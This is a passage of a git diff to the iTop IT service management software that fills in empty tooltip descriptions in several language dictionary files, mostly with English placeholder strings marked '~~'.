=> 'Napájací zdroj', 'Class:PowerSource+' => '', 'Class:PowerSource/Attribute:pdus_list' => 'Napäťové distribučné jednotky (PDU)', - 'Class:PowerSource/Attribute:pdus_list+' => '', + 'Class:PowerSource/Attribute:pdus_list+' => 'All the PDUs using this power source~~', )); // @@ -475,7 +475,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Enclosure/Attribute:nb_u' => 'NB U', 'Class:Enclosure/Attribute:nb_u+' => '', 'Class:Enclosure/Attribute:device_list' => 'Zariadenia', - 'Class:Enclosure/Attribute:device_list+' => '', + 'Class:Enclosure/Attribute:device_list+' => 'All the devices in this enclosure~~', )); // @@ -486,9 +486,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:ApplicationSolution' => 'Aplikačné riešenie', 'Class:ApplicationSolution+' => '', 'Class:ApplicationSolution/Attribute:functionalcis_list' => 'Komponenty', - 'Class:ApplicationSolution/Attribute:functionalcis_list+' => '', + 'Class:ApplicationSolution/Attribute:functionalcis_list+' => 'All the configuration items that compose this application solution~~', 'Class:ApplicationSolution/Attribute:businessprocess_list' => 'Biznis procesy', - 'Class:ApplicationSolution/Attribute:businessprocess_list+' => '', + 'Class:ApplicationSolution/Attribute:businessprocess_list+' => 'All the business processes depending on this application solution~~', 'Class:ApplicationSolution/Attribute:status' => 'Stav', 'Class:ApplicationSolution/Attribute:status+' => '', 'Class:ApplicationSolution/Attribute:status/Value:active' => 'Aktívne', @@ -509,7 +509,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:BusinessProcess' => 'Biznis proces', 'Class:BusinessProcess+' => '', 'Class:BusinessProcess/Attribute:applicationsolutions_list' => 'Aplikačné riešenia', - 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => '', + 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => 'All the application solutions that impact this business process~~', 'Class:BusinessProcess/Attribute:status' => 'Stav', 'Class:BusinessProcess/Attribute:status+' => '', 'Class:BusinessProcess/Attribute:status/Value:active' => 'Aktívny', @@ -555,7 +555,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Middleware' => 'Middleware', 'Class:Middleware+' => '', 'Class:Middleware/Attribute:middlewareinstance_list' => 'Middleware inštancie', - 'Class:Middleware/Attribute:middlewareinstance_list+' => '', + 'Class:Middleware/Attribute:middlewareinstance_list+' => 'All the middleware instances provided by this middleware~~', )); // @@ -566,7 +566,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:DBServer' => 'DB Server', 'Class:DBServer+' => '', 'Class:DBServer/Attribute:dbschema_list' => 'DB schémy', - 'Class:DBServer/Attribute:dbschema_list+' => '', + 'Class:DBServer/Attribute:dbschema_list+' => 'All the database schemas for this DB server~~', )); // @@ -577,7 +577,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:WebServer' => 'Web server', 'Class:WebServer+' => '', 'Class:WebServer/Attribute:webapp_list' => 'Webové aplikácie', - 'Class:WebServer/Attribute:webapp_list+' => '', + 'Class:WebServer/Attribute:webapp_list+' => 'All the web applications available on this web server~~', )); // @@ -658,7 +658,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:VirtualDevice/Attribute:status/Value:stock' => 'Zásoby', 'Class:VirtualDevice/Attribute:status/Value:stock+' => '', 'Class:VirtualDevice/Attribute:logicalvolumes_list' => 'Zoznam logických dielov', - 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => '', + 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => 'All the logical volumes used by this device~~', )); // @@ -669,7 +669,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:VirtualHost' => 'Virtuálny host', 'Class:VirtualHost+' => '', 'Class:VirtualHost/Attribute:virtualmachine_list' => 'Zoznam virtuálnych strojov', - 'Class:VirtualHost/Attribute:virtualmachine_list+' => '', + 'Class:VirtualHost/Attribute:virtualmachine_list+' => 'All the virtual machines hosted by this host~~', )); // @@ -697,7 +697,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Farm' => 'Farma', 'Class:Farm+' => '', 'Class:Farm/Attribute:hypervisor_list' => 'Hypervisori', - 'Class:Farm/Attribute:hypervisor_list+' => '', + 'Class:Farm/Attribute:hypervisor_list+' => 'All the hypervisors that compose this farm~~', 'Class:Farm/Attribute:redundancy' => 'High availability~~', 'Class:Farm/Attribute:redundancy/disabled' => 'The farm is up if all the hypervisors are up~~', 'Class:Farm/Attribute:redundancy/count' => 'The farm is up if at least %1$s hypervisor(s) is(are) up~~', @@ -734,7 +734,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:VirtualMachine/Attribute:managementip' => 'IP~~', 'Class:VirtualMachine/Attribute:managementip+' => '~~', 'Class:VirtualMachine/Attribute:logicalinterface_list' => 'Zoznam sieťových rozhraní', - 'Class:VirtualMachine/Attribute:logicalinterface_list+' => '', + 'Class:VirtualMachine/Attribute:logicalinterface_list+' => 'All the logical network interfaces~~', )); // @@ -759,9 +759,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:LogicalVolume/Attribute:storagesystem_name' => 'Názov úložného systému', 'Class:LogicalVolume/Attribute:storagesystem_name+' => '', 'Class:LogicalVolume/Attribute:servers_list' => 'Servery', - 'Class:LogicalVolume/Attribute:servers_list+' => '', + 'Class:LogicalVolume/Attribute:servers_list+' => 'All the servers using this volume~~', 'Class:LogicalVolume/Attribute:virtualdevices_list' => 'Virtuálne zariadenia', - 'Class:LogicalVolume/Attribute:virtualdevices_list+' => '', + 'Class:LogicalVolume/Attribute:virtualdevices_list+' => 'All the virtual devices using this volume~~', )); // @@ -877,7 +877,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Software/Attribute:version' => 'Verzia', 'Class:Software/Attribute:version+' => '', 'Class:Software/Attribute:documents_list' => 'Dokumenty', - 'Class:Software/Attribute:documents_list+' => '', + 'Class:Software/Attribute:documents_list+' => 'All the documents linked to this software~~', 'Class:Software/Attribute:type' => 'Typ', 'Class:Software/Attribute:type+' => '', 'Class:Software/Attribute:type/Value:DBServer' => 'DB Server', @@ -891,11 +891,11 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Software/Attribute:type/Value:WebServer' => 'Web Server', 'Class:Software/Attribute:type/Value:WebServer+' => '', 'Class:Software/Attribute:softwareinstance_list' => 'Softvérové inštancie', - 'Class:Software/Attribute:softwareinstance_list+' => '', + 'Class:Software/Attribute:softwareinstance_list+' => 'All the software instances for this software~~', 'Class:Software/Attribute:softwarepatch_list' => 'Softvérové záplaty', - 'Class:Software/Attribute:softwarepatch_list+' => '', + 'Class:Software/Attribute:softwarepatch_list+' => 'All the patchs for this software~~', 'Class:Software/Attribute:softwarelicence_list' => 'Softvérové licencie', - 'Class:Software/Attribute:softwarelicence_list+' => '', + 'Class:Software/Attribute:softwarelicence_list+' => 'All the licenses for this software~~', )); // @@ -908,7 +908,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Patch/Attribute:name' => 'Názov', 'Class:Patch/Attribute:name+' => '', 'Class:Patch/Attribute:documents_list' => 'Zoznam dokumentov', - 'Class:Patch/Attribute:documents_list+' => '', + 'Class:Patch/Attribute:documents_list+' => 'All the documents linked to this patch~~', 'Class:Patch/Attribute:description' => 'Popis', 'Class:Patch/Attribute:description+' => '', 'Class:Patch/Attribute:finalclass' => 'Typ', @@ -923,7 +923,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:OSPatch' => 'Záplata OS', 'Class:OSPatch+' => '', 'Class:OSPatch/Attribute:functionalcis_list' => 'Zariadenia', - 'Class:OSPatch/Attribute:functionalcis_list+' => '', + 'Class:OSPatch/Attribute:functionalcis_list+' => 'All the systems where this patch is installed~~', 'Class:OSPatch/Attribute:osversion_id' => 'Verzia OS', 'Class:OSPatch/Attribute:osversion_id+' => '', 'Class:OSPatch/Attribute:osversion_name' => 'Názov OS verzie', @@ -942,7 +942,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:SoftwarePatch/Attribute:software_name' => 'Názov softvéru', 'Class:SoftwarePatch/Attribute:software_name+' => '', 'Class:SoftwarePatch/Attribute:softwareinstances_list' => 'Inštancie softvéru', - 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => '', + 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => 'All the systems where this software patch is installed~~', )); // @@ -955,7 +955,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Licence/Attribute:name' => 'Názov', 'Class:Licence/Attribute:name+' => '', 'Class:Licence/Attribute:documents_list' => 'Zoznam dokumentov', - 'Class:Licence/Attribute:documents_list+' => '', + 'Class:Licence/Attribute:documents_list+' => 'All the documents linked to this license~~', 'Class:Licence/Attribute:org_id' => 'Organizácia', 'Class:Licence/Attribute:org_id+' => '', 'Class:Licence/Attribute:organization_name' => 'Názov organizácie', @@ -992,9 +992,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:OSLicence/Attribute:osversion_name' => 'Názov OS verzie', 'Class:OSLicence/Attribute:osversion_name+' => '', 'Class:OSLicence/Attribute:virtualmachines_list' => 'Virtuálne zariadenia', - 'Class:OSLicence/Attribute:virtualmachines_list+' => '', + 'Class:OSLicence/Attribute:virtualmachines_list+' => 'All the virtual machines where this license is used~~', 'Class:OSLicence/Attribute:servers_list' => 'Servery', - 'Class:OSLicence/Attribute:servers_list+' => '', + 'Class:OSLicence/Attribute:servers_list+' => 'All the servers where this license is used~~', )); // @@ -1009,7 +1009,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:SoftwareLicence/Attribute:software_name' => 'Názov softvéru', 'Class:SoftwareLicence/Attribute:software_name+' => '', 'Class:SoftwareLicence/Attribute:softwareinstance_list' => 'Inštancie softvéru', - 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => '', + 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => 'All the systems where this license is used~~', )); // @@ -1059,7 +1059,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Brand' => 'Značka', 'Class:Brand+' => '', 'Class:Brand/Attribute:physicaldevices_list' => 'Zariadenia', - 'Class:Brand/Attribute:physicaldevices_list+' => '', + 'Class:Brand/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this brand~~', 'Class:Brand/UniquenessRule:name+' => 'The name must be unique~~', 'Class:Brand/UniquenessRule:name' => 'This brand already exists~~', )); @@ -1114,7 +1114,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Model/Attribute:type/Value:Phone' => 'Telephone~~', 'Class:Model/Attribute:type/Value:Phone+' => 'Telephone~~', 'Class:Model/Attribute:physicaldevices_list' => 'Zariadenia', - 'Class:Model/Attribute:physicaldevices_list+' => '', + 'Class:Model/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this model~~', 'Class:Model/UniquenessRule:name_brand+' => 'Name must be unique in the brand~~', 'Class:Model/UniquenessRule:name_brand' => 'this model already exists for this brand~~', )); @@ -1127,7 +1127,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:NetworkDeviceType' => 'Typ sieťového zariadenia', 'Class:NetworkDeviceType+' => '', 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list' => 'Sieťové zariadenia', - 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => '', + 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => 'All the network devices corresponding to this type~~', )); // @@ -1471,7 +1471,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Group/Attribute:parent_name' => 'Meno rodiča', 'Class:Group/Attribute:parent_name+' => '', 'Class:Group/Attribute:ci_list' => 'Prislúchajúce zariadenia', - 'Class:Group/Attribute:ci_list+' => '', + 'Class:Group/Attribute:ci_list+' => 'All the configuration items linked to this group~~', 'Class:Group/Attribute:parent_id_friendlyname' => 'Priateľské meno rodičovskej skupiny', 'Class:Group/Attribute:parent_id_friendlyname+' => '', )); diff --git a/datamodels/2.x/itop-config-mgmt/dictionaries/tr.dict.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/dictionaries/tr.dict.itop-config-mgmt.php index 56bce30c0..589f773b5 100644 --- a/datamodels/2.x/itop-config-mgmt/dictionaries/tr.dict.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/dictionaries/tr.dict.itop-config-mgmt.php @@ -1473,7 +1473,7 @@ Dict::Add('TR TR', 'Turkish', 'Türkçe', array( 'Class:Group/Attribute:parent_name' => 'Adı', 'Class:Group/Attribute:parent_name+' => '', 'Class:Group/Attribute:ci_list' => 'Bağlantılı Konfigürasyon Kalemleri (KK)', - 'Class:Group/Attribute:ci_list+' => '', + 'Class:Group/Attribute:ci_list+' => 'All the configuration items linked to this group~~', 'Class:Group/Attribute:parent_id_friendlyname' => 'Ana Grup', 'Class:Group/Attribute:parent_id_friendlyname+' => '~~', )); diff --git a/datamodels/2.x/itop-faq-light/dictionaries/da.dict.itop-faq-light.php b/datamodels/2.x/itop-faq-light/dictionaries/da.dict.itop-faq-light.php index a23afa834..6ca276444 100644 --- a/datamodels/2.x/itop-faq-light/dictionaries/da.dict.itop-faq-light.php +++ b/datamodels/2.x/itop-faq-light/dictionaries/da.dict.itop-faq-light.php @@ -53,7 +53,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:FAQCategory/Attribute:name' => 'Navn', 'Class:FAQCategory/Attribute:name+' => '', 'Class:FAQCategory/Attribute:faq_list' => 'FAQs', - 'Class:FAQCategory/Attribute:faq_list+' => '', + 'Class:FAQCategory/Attribute:faq_list+' => 'All the frequently asked questions related to this category~~', )); Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Menu:ProblemManagement' => 'Problem Management', diff --git a/datamodels/2.x/itop-faq-light/dictionaries/de.dict.itop-faq-light.php b/datamodels/2.x/itop-faq-light/dictionaries/de.dict.itop-faq-light.php index 0f322bfc1..e7d9db24f 100644 --- a/datamodels/2.x/itop-faq-light/dictionaries/de.dict.itop-faq-light.php +++ b/datamodels/2.x/itop-faq-light/dictionaries/de.dict.itop-faq-light.php @@ -55,7 +55,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:FAQCategory/Attribute:name' => 'Name', 'Class:FAQCategory/Attribute:name+' => '', 'Class:FAQCategory/Attribute:faq_list' => 'FAQs', - 'Class:FAQCategory/Attribute:faq_list+' => '', + 'Class:FAQCategory/Attribute:faq_list+' => 'All the frequently asked questions related to this category~~', )); Dict::Add('DE DE', 'German', 'Deutsch', array( 'Menu:ProblemManagement' => 'Problem Management', diff --git a/datamodels/2.x/itop-faq-light/dictionaries/fr.dict.itop-faq-light.php b/datamodels/2.x/itop-faq-light/dictionaries/fr.dict.itop-faq-light.php index b979574f1..21036ea53 100644 --- a/datamodels/2.x/itop-faq-light/dictionaries/fr.dict.itop-faq-light.php +++ b/datamodels/2.x/itop-faq-light/dictionaries/fr.dict.itop-faq-light.php @@ -52,7 +52,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:FAQCategory/Attribute:name' => 'Nom', 'Class:FAQCategory/Attribute:name+' => '', 'Class:FAQCategory/Attribute:faq_list' => 'FAQs', - 'Class:FAQCategory/Attribute:faq_list+' => '', + 'Class:FAQCategory/Attribute:faq_list+' => 'Toutes les questions fréquemment posées liées à cette catégorie', )); Dict::Add('FR FR', 'French', 'Français', array( 'Menu:ProblemManagement' => 'Gestion des problèmes', diff --git a/datamodels/2.x/itop-faq-light/dictionaries/ja.dict.itop-faq-light.php b/datamodels/2.x/itop-faq-light/dictionaries/ja.dict.itop-faq-light.php index 1e59d1a06..0da81d353 100644 --- a/datamodels/2.x/itop-faq-light/dictionaries/ja.dict.itop-faq-light.php +++ b/datamodels/2.x/itop-faq-light/dictionaries/ja.dict.itop-faq-light.php @@ -52,7 +52,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:FAQCategory/Attribute:name' => '名前', 'Class:FAQCategory/Attribute:name+' => '', 'Class:FAQCategory/Attribute:faq_list' => 'FAQ', - 'Class:FAQCategory/Attribute:faq_list+' => '', + 'Class:FAQCategory/Attribute:faq_list+' => 'All the frequently asked questions related to this category~~', )); Dict::Add('JA JP', 'Japanese', '日本語', array( 'Menu:ProblemManagement' => '問題管理', diff --git a/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/da.dict.itop-incident-mgmt-itil.php b/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/da.dict.itop-incident-mgmt-itil.php index 47ae8abb3..a51dca915 100644 --- a/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/da.dict.itop-incident-mgmt-itil.php +++ b/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/da.dict.itop-incident-mgmt-itil.php @@ -195,7 +195,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Incident/Attribute:related_request_list' => 'Child requests~~', 'Class:Incident/Attribute:related_request_list+' => '~~', 'Class:Incident/Attribute:child_incidents_list' => 'Afledte Incidents', - 'Class:Incident/Attribute:child_incidents_list+' => '', + 'Class:Incident/Attribute:child_incidents_list+' => 'All the child incidents related to this incident~~', 'Class:Incident/Attribute:public_log' => 'Offentlig Log', 'Class:Incident/Attribute:public_log+' => '', 'Class:Incident/Attribute:user_satisfaction' => 'Bruger tilfredshed', diff --git a/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/de.dict.itop-incident-mgmt-itil.php b/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/de.dict.itop-incident-mgmt-itil.php index bda4e93d5..cf70b074b 100644 --- a/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/de.dict.itop-incident-mgmt-itil.php +++ b/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/de.dict.itop-incident-mgmt-itil.php @@ -197,7 +197,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Incident/Attribute:related_request_list' => 'Kind-Requests', 'Class:Incident/Attribute:related_request_list+' => '', 'Class:Incident/Attribute:child_incidents_list' => 'Abgeleitete Incidents', - 'Class:Incident/Attribute:child_incidents_list+' => '', + 'Class:Incident/Attribute:child_incidents_list+' => 'All the child incidents related to this incident~~', 'Class:Incident/Attribute:public_log' => 'Öffentliches Log', 'Class:Incident/Attribute:public_log+' => '', 'Class:Incident/Attribute:user_satisfaction' => 'Benutzerzufriedenheit', diff --git a/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/fr.dict.itop-incident-mgmt-itil.php b/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/fr.dict.itop-incident-mgmt-itil.php index 94dbe112a..debf1a649 100644 --- a/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/fr.dict.itop-incident-mgmt-itil.php +++ b/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/fr.dict.itop-incident-mgmt-itil.php @@ -197,7 +197,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Incident/Attribute:related_request_list' => 'Requêtes filles', 'Class:Incident/Attribute:related_request_list+' => '', 'Class:Incident/Attribute:child_incidents_list' => 'Incidents fils', - 'Class:Incident/Attribute:child_incidents_list+' => '', + 'Class:Incident/Attribute:child_incidents_list+' => 'Tous les incidents fils lié à celui-ci', 'Class:Incident/Attribute:public_log' => 'Journal public', 'Class:Incident/Attribute:public_log+' => '', 'Class:Incident/Attribute:user_satisfaction' => 'Satisfaction client', diff --git a/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/ja.dict.itop-incident-mgmt-itil.php b/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/ja.dict.itop-incident-mgmt-itil.php index 8f623158e..96cd59b44 100644 --- a/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/ja.dict.itop-incident-mgmt-itil.php +++ b/datamodels/2.x/itop-incident-mgmt-itil/dictionaries/ja.dict.itop-incident-mgmt-itil.php @@ -194,7 +194,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Incident/Attribute:related_request_list' => 'Child requests~~', 'Class:Incident/Attribute:related_request_list+' => '~~', 'Class:Incident/Attribute:child_incidents_list' => '子インシデント', - 'Class:Incident/Attribute:child_incidents_list+' => '', + 'Class:Incident/Attribute:child_incidents_list+' => 'All the child incidents related to this incident~~', 'Class:Incident/Attribute:public_log' => 'パブリックログ', 'Class:Incident/Attribute:public_log+' => '', 'Class:Incident/Attribute:user_satisfaction' => 'ユーザ満足度', diff --git a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/da.dict.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/da.dict.itop-knownerror-mgmt.php index 3ab360b30..e1d279938 100644 --- a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/da.dict.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/da.dict.itop-knownerror-mgmt.php @@ -60,9 +60,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:KnownError/Attribute:version' => 'Version', 'Class:KnownError/Attribute:version+' => '', 'Class:KnownError/Attribute:ci_list' => 'CIs', - 'Class:KnownError/Attribute:ci_list+' => '', + 'Class:KnownError/Attribute:ci_list+' => 'All the configuration items that are related to this known error~~', 'Class:KnownError/Attribute:document_list' => 'Dokumenter', - 'Class:KnownError/Attribute:document_list+' => '', + 'Class:KnownError/Attribute:document_list+' => 'All the documents linked to this known error~~', )); // diff --git a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/de.dict.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/de.dict.itop-knownerror-mgmt.php index 1b35a4c46..23027c47e 100644 --- a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/de.dict.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/de.dict.itop-knownerror-mgmt.php @@ -62,9 +62,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:KnownError/Attribute:version' => 'Version', 'Class:KnownError/Attribute:version+' => '', 'Class:KnownError/Attribute:ci_list' => 'CIs', - 'Class:KnownError/Attribute:ci_list+' => '', + 'Class:KnownError/Attribute:ci_list+' => 'All the configuration items that are related to this known error~~', 'Class:KnownError/Attribute:document_list' => 'Dokumente', - 'Class:KnownError/Attribute:document_list+' => '', + 'Class:KnownError/Attribute:document_list+' => 'All the documents linked to this known error~~', )); // diff --git a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/fr.dict.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/fr.dict.itop-knownerror-mgmt.php index 5edf3a695..5ea664687 100644 --- a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/fr.dict.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/fr.dict.itop-knownerror-mgmt.php @@ -62,9 +62,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:KnownError/Attribute:version' => 'Version', 'Class:KnownError/Attribute:version+' => '', 'Class:KnownError/Attribute:ci_list' => 'CIs', - 'Class:KnownError/Attribute:ci_list+' => '', + 'Class:KnownError/Attribute:ci_list+' => 'Tous les éléments de configuration liés à cette erreur connue', 'Class:KnownError/Attribute:document_list' => 'Documents', - 'Class:KnownError/Attribute:document_list+' => '', + 'Class:KnownError/Attribute:document_list+' => 'Tous les documents liés à cette erreur connue', )); // diff --git a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/hu.dict.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/hu.dict.itop-knownerror-mgmt.php index 338bbc978..47cc31f78 100644 --- a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/hu.dict.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/hu.dict.itop-knownerror-mgmt.php @@ -59,9 +59,9 @@ Dict::Add('HU HU', 'Hungarian', 'Magyar', array( 'Class:KnownError/Attribute:version' => 'Verzió', 'Class:KnownError/Attribute:version+' => '', 'Class:KnownError/Attribute:ci_list' => 'CI-k', - 'Class:KnownError/Attribute:ci_list+' => '', + 'Class:KnownError/Attribute:ci_list+' => 'All the configuration items that are related to this known error~~', 'Class:KnownError/Attribute:document_list' => 'Dokumentumok', - 'Class:KnownError/Attribute:document_list+' => '', + 'Class:KnownError/Attribute:document_list+' => 'All the documents linked to this known error~~', )); // diff --git a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/it.dict.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/it.dict.itop-knownerror-mgmt.php index 779546981..85e7128ec 100644 --- a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/it.dict.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/it.dict.itop-knownerror-mgmt.php @@ -86,9 +86,9 @@ Dict::Add('IT IT', 'Italian', 'Italiano', array( 'Class:KnownError/Attribute:version' => 'Versione', 'Class:KnownError/Attribute:version+' => '', 'Class:KnownError/Attribute:ci_list' => 'CIs', - 'Class:KnownError/Attribute:ci_list+' => '', + 'Class:KnownError/Attribute:ci_list+' => 'All the configuration items that are related to this known error~~', 'Class:KnownError/Attribute:document_list' => 'Documenti', - 'Class:KnownError/Attribute:document_list+' => '', + 'Class:KnownError/Attribute:document_list+' => 'All the documents linked to this known error~~', )); // diff --git a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/ja.dict.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/ja.dict.itop-knownerror-mgmt.php index af2a31ee7..a25583814 100644 --- a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/ja.dict.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/ja.dict.itop-knownerror-mgmt.php @@ -59,9 +59,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:KnownError/Attribute:version' => 'バージョン', 'Class:KnownError/Attribute:version+' => '', 'Class:KnownError/Attribute:ci_list' => 'CI', - 'Class:KnownError/Attribute:ci_list+' => '', + 'Class:KnownError/Attribute:ci_list+' => 'All the configuration items that are related to this known error~~', 'Class:KnownError/Attribute:document_list' => '文書', - 'Class:KnownError/Attribute:document_list+' => '', + 'Class:KnownError/Attribute:document_list+' => 'All the documents linked to this known error~~', )); // diff --git a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/tr.dict.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/tr.dict.itop-knownerror-mgmt.php index c8b5a2cfd..fd623eb6d 100644 --- a/datamodels/2.x/itop-knownerror-mgmt/dictionaries/tr.dict.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/dictionaries/tr.dict.itop-knownerror-mgmt.php @@ -87,9 +87,9 @@ Dict::Add('TR TR', 'Turkish', 'Türkçe', array( 'Class:KnownError/Attribute:version' => 'Versiyon', 'Class:KnownError/Attribute:version+' => '', 'Class:KnownError/Attribute:ci_list' => 'KKler', - 'Class:KnownError/Attribute:ci_list+' => '', + 'Class:KnownError/Attribute:ci_list+' => 'All the configuration items that are related to this known error~~', 'Class:KnownError/Attribute:document_list' => 'Dokümanlar', - 'Class:KnownError/Attribute:document_list+' => '', + 'Class:KnownError/Attribute:document_list+' => 'All the documents linked to this known error~~', )); // diff --git a/datamodels/2.x/itop-problem-mgmt/dictionaries/da.dict.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/dictionaries/da.dict.itop-problem-mgmt.php index c72935d58..c6a0be691 100644 --- a/datamodels/2.x/itop-problem-mgmt/dictionaries/da.dict.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/dictionaries/da.dict.itop-problem-mgmt.php @@ -108,9 +108,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Problem/Attribute:resolution_date' => 'Dato løst', 'Class:Problem/Attribute:resolution_date+' => '', 'Class:Problem/Attribute:knownerrors_list' => 'Known Errors', - 'Class:Problem/Attribute:knownerrors_list+' => '', + 'Class:Problem/Attribute:knownerrors_list+' => 'All the known errors that are linked to this problem~~', 'Class:Problem/Attribute:related_request_list' => 'Relateret Requests', - 'Class:Problem/Attribute:related_request_list+' => '', + 'Class:Problem/Attribute:related_request_list+' => 'All the requests that are related to this problem~~', 'Class:Problem/Attribute:related_incident_list' => 'Related incidents~~', 'Class:Problem/Attribute:related_incident_list+' => 'All the incidents that are related to this problem~~', 'Class:Problem/Stimulus:ev_assign' => 'Tildel', diff --git a/datamodels/2.x/itop-problem-mgmt/dictionaries/de.dict.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/dictionaries/de.dict.itop-problem-mgmt.php index d2a922693..33d30ab1d 100644 --- a/datamodels/2.x/itop-problem-mgmt/dictionaries/de.dict.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/dictionaries/de.dict.itop-problem-mgmt.php @@ -110,9 +110,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Problem/Attribute:resolution_date' => 'Datum der Lösung', 'Class:Problem/Attribute:resolution_date+' => '', 'Class:Problem/Attribute:knownerrors_list' => 'Bekannte Fehler', - 'Class:Problem/Attribute:knownerrors_list+' => '', + 'Class:Problem/Attribute:knownerrors_list+' => 'All the known errors that are linked to this problem~~', 'Class:Problem/Attribute:related_request_list' => 'Verwandte Requests', - 'Class:Problem/Attribute:related_request_list+' => '', + 